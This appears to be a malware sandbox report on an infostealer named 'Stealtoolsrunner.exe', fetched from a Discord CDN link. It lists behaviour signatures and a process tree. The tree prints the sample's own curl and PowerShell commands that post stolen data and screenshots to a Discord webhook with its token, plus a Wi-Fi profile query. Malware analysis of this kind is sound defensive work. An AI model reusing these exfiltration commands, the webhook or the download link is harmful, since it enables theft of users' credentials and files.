hxxps://cdn[.]discordapp[.]com/attachments/1496872856632557671/1517942431272796332/Stealtoolsrunner[.]exe?ex=6a381d8d&is=6a36cc0d&hm=6c2658e8c265aab4ff5e9084f1fe6f55d7905536e443a0f7bd0d7f35baf640b7&

Analysis

user interaction
yes
max time kernel
28s
max time network
30s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/06/2026, 17:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://cdn.discordapp.com/attachments/1496872856632557671/1517942431272796332/Stealtoolsrunner.exe?ex=6a381d8d&is=6a36cc0d&hm=6c2658e8c265aab4ff5e9084f1fe6f55d7905536e443a0f7bd0d7f35baf640b7&
Sample260620-vx2chaf18q

Score

8^/10

discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
90	5896	powershell.exe
94	1084	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
21	5232	msedge.exe

Executes dropped EXE 6 IoCs

pid	Process
5616	Stealtoolsrunner.exe
4496	Stealtoolsrunner.exe
5356	Stealtoolsrunner.exe
2264	Stealtoolsrunner.exe
1780	Stealtoolsrunner.exe
5092	Stealtoolsrunner.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
56	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5896	powershell.exe
1084	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 5 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5696	netsh.exe
772	netsh.exe
1092	netsh.exe
1056	netsh.exe
5908	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5232	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134264497850253812"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-876885714-46325919-1482798410-1000\{071138BF-4E30-4CA6-A482-7E8E9376831E}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4496	Stealtoolsrunner.exe
4496	Stealtoolsrunner.exe
5356	Stealtoolsrunner.exe
5356	Stealtoolsrunner.exe
5896	powershell.exe
5896	powershell.exe
5896	powershell.exe
5092	Stealtoolsrunner.exe
5092	Stealtoolsrunner.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5896	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe
3412	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 3912	3412	msedge.exe	87
PID 3412 wrote to memory of 2368	3412	msedge.exe	88
PID 3412 wrote to memory of 5232	3412	msedge.exe	89
PID 3412 wrote to memory of 2368	3412	msedge.exe	88
PID 3412 wrote to memory of 2368	3412	msedge.exe	88
PID 3412 wrote to memory of 5520	3412	msedge.exe	90
PID 3412 wrote to memory of 5520	3412	msedge.exe	90
PID 3412 wrote to memory of 2444	3412	msedge.exe	92
PID 3412 wrote to memory of 5512	3412	msedge.exe	93
PID 3412 wrote to memory of 2444	3412	msedge.exe	92
PID 3412 wrote to memory of 2444	3412	msedge.exe	92
PID 3412 wrote to memory of 5512	3412	msedge.exe	93
PID 3412 wrote to memory of 5512	3412	msedge.exe	93
PID 3412 wrote to memory of 2876	3412	msedge.exe	94
PID 3412 wrote to memory of 2876	3412	msedge.exe	94
PID 3412 wrote to memory of 2876	3412	msedge.exe	94
PID 3412 wrote to memory of 4372	3412	msedge.exe	95
PID 3412 wrote to memory of 4372	3412	msedge.exe	95
PID 3412 wrote to memory of 4372	3412	msedge.exe	95
PID 3412 wrote to memory of 4488	3412	msedge.exe	98
PID 3412 wrote to memory of 4488	3412	msedge.exe	98
PID 3412 wrote to memory of 3008	3412	msedge.exe	99
PID 3412 wrote to memory of 3008	3412	msedge.exe	99
PID 3412 wrote to memory of 2132	3412	msedge.exe	100
PID 3412 wrote to memory of 3384	3412	msedge.exe	101
PID 3412 wrote to memory of 2132	3412	msedge.exe	100
PID 3412 wrote to memory of 3384	3412	msedge.exe	101
PID 3412 wrote to memory of 3384	3412	msedge.exe	101
PID 3412 wrote to memory of 4088	3412	msedge.exe	102
PID 3412 wrote to memory of 3992	3412	msedge.exe	103
PID 3412 wrote to memory of 3992	3412	msedge.exe	103
PID 3412 wrote to memory of 2288	3412	msedge.exe	107
PID 3412 wrote to memory of 5616	3412	msedge.exe	109
PID 5616 wrote to memory of 5936	5616	Stealtoolsrunner.exe	111
PID 5616 wrote to memory of 3764	5616	Stealtoolsrunner.exe	115
PID 5616 wrote to memory of 5884	5616	Stealtoolsrunner.exe	117
PID 3412 wrote to memory of 4496	3412	msedge.exe	121
PID 4496 wrote to memory of 3172	4496	Stealtoolsrunner.exe	122
PID 4496 wrote to memory of 1516	4496	Stealtoolsrunner.exe	124
PID 4496 wrote to memory of 6012	4496	Stealtoolsrunner.exe	126
PID 4496 wrote to memory of 6068	4496	Stealtoolsrunner.exe	128
PID 3412 wrote to memory of 5356	3412	msedge.exe	131
PID 4496 wrote to memory of 1092	4496	Stealtoolsrunner.exe	132
PID 5356 wrote to memory of 5756	5356	Stealtoolsrunner.exe	133
PID 5356 wrote to memory of 4536	5356	Stealtoolsrunner.exe	136
PID 5356 wrote to memory of 4668	5356	Stealtoolsrunner.exe	138
PID 4496 wrote to memory of 2244	4496	Stealtoolsrunner.exe	140
PID 4496 wrote to memory of 5396	4496	Stealtoolsrunner.exe	142
PID 5356 wrote to memory of 1084	5356	Stealtoolsrunner.exe	144
PID 4496 wrote to memory of 4788	4496	Stealtoolsrunner.exe	146
PID 4496 wrote to memory of 3748	4496	Stealtoolsrunner.exe	148
PID 5356 wrote to memory of 1056	5356	Stealtoolsrunner.exe	152
PID 5356 wrote to memory of 3316	5356	Stealtoolsrunner.exe	155
PID 5356 wrote to memory of 976	5356	Stealtoolsrunner.exe	157
PID 5356 wrote to memory of 2968	5356	Stealtoolsrunner.exe	159
PID 5356 wrote to memory of 3452	5356	Stealtoolsrunner.exe	161
PID 2264 wrote to memory of 5360	2264	Stealtoolsrunner.exe	164
PID 2264 wrote to memory of 5384	2264	Stealtoolsrunner.exe	166
PID 2264 wrote to memory of 4500	2264	Stealtoolsrunner.exe	168
PID 2264 wrote to memory of 1084	2264	Stealtoolsrunner.exe	170
PID 2264 wrote to memory of 5908	2264	Stealtoolsrunner.exe	172
PID 2264 wrote to memory of 2256	2264	Stealtoolsrunner.exe	174
PID 1780 wrote to memory of 2888	1780	Stealtoolsrunner.exe	177
PID 1780 wrote to memory of 1972	1780	Stealtoolsrunner.exe	179

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1496872856632557671/1517942431272796332/Stealtoolsrunner.exe?ex=6a381d8d&is=6a36cc0d&hm=6c2658e8c265aab4ff5e9084f1fe6f55d7905536e443a0f7bd0d7f35baf640b7&
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7fff3aa4c188,0x7fff3aa4c194,0x7fff3aa4c1a0
  2⤵
  PID:3912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1740,i,15161323124648917621,15596844818280035842,262144 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=2740 /prefetch:2
  2⤵
  PID:2368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1952,i,3254904665416024614,11398962603903276508,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=2776 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1288,i,9477402111221033558,16853594995181749876,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:8
  2⤵
  PID:5520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3464,i,2478995959520107659,45782201537714694,2097152 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
  2⤵
  PID:2444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,18102817763223249377,11235161925539345995,2097152 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:1
  2⤵
  PID:5512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4172,i,2290656334496377872,11653877587635874384,2097152 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:1
  2⤵
  PID:2876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4216,i,12161277584194824246,10456793491451758391,2097152 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:2
  2⤵
  PID:4372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5072,i,6349728160767283249,8043749529930443424,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:8
  2⤵
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,702015904191392800,3973058199954872283,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:8
  2⤵
  PID:3008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5688,i,4284590001721910659,11776573977222010752,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:8
  2⤵
  PID:2132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5708,i,12090660929078312147,4114838869881867343,2097152 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:1
  2⤵
  PID:3384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5996,i,12161675403185787247,17441239605447200165,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:8
  2⤵
  PID:4088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,15305351168177243544,8853699435383785186,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:8
  2⤵
  PID:3992
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6628,i,14548984795519634737,18131123560431212855,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:8
  2⤵
  PID:5856
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6628,i,14548984795519634737,18131123560431212855,524288 --field-trial-handle=2744,i,1736056404906056801,7221902718819269707,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:8
  2⤵
  PID:2288
- C:\Users\Admin\Downloads\Stealtoolsrunner.exe
  "C:\Users\Admin\Downloads\Stealtoolsrunner.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:5936
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c ver 2>nul
    3⤵
    PID:3764
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:5884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try{$b=Get-Content 'C:\Users\Admin\AppData\Local\Temp\\wh.txt' -Raw;$r=Invoke-RestMethod -Uri 'https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4' -Method POST -Body $b -ContentType 'application/json' -TimeoutSec 10 -ErrorAction Stop;exit 0}catch{exit 1}"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5896
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\\ss.png" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:1704
- - C:\Windows\SYSTEM32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5696
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:2244
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:4524
- C:\Users\Admin\Downloads\Stealtoolsrunner.exe
  "C:\Users\Admin\Downloads\Stealtoolsrunner.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:3172
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c ver 2>nul
    3⤵
    PID:1516
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:6012
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\\ss.png" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:6068
- - C:\Windows\SYSTEM32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1092
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:2244
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:5396
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:4788
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:3748
- C:\Users\Admin\Downloads\Stealtoolsrunner.exe
  "C:\Users\Admin\Downloads\Stealtoolsrunner.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:5756
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c ver 2>nul
    3⤵
    PID:4536
- - C:\Windows\SYSTEM32\curl.exe
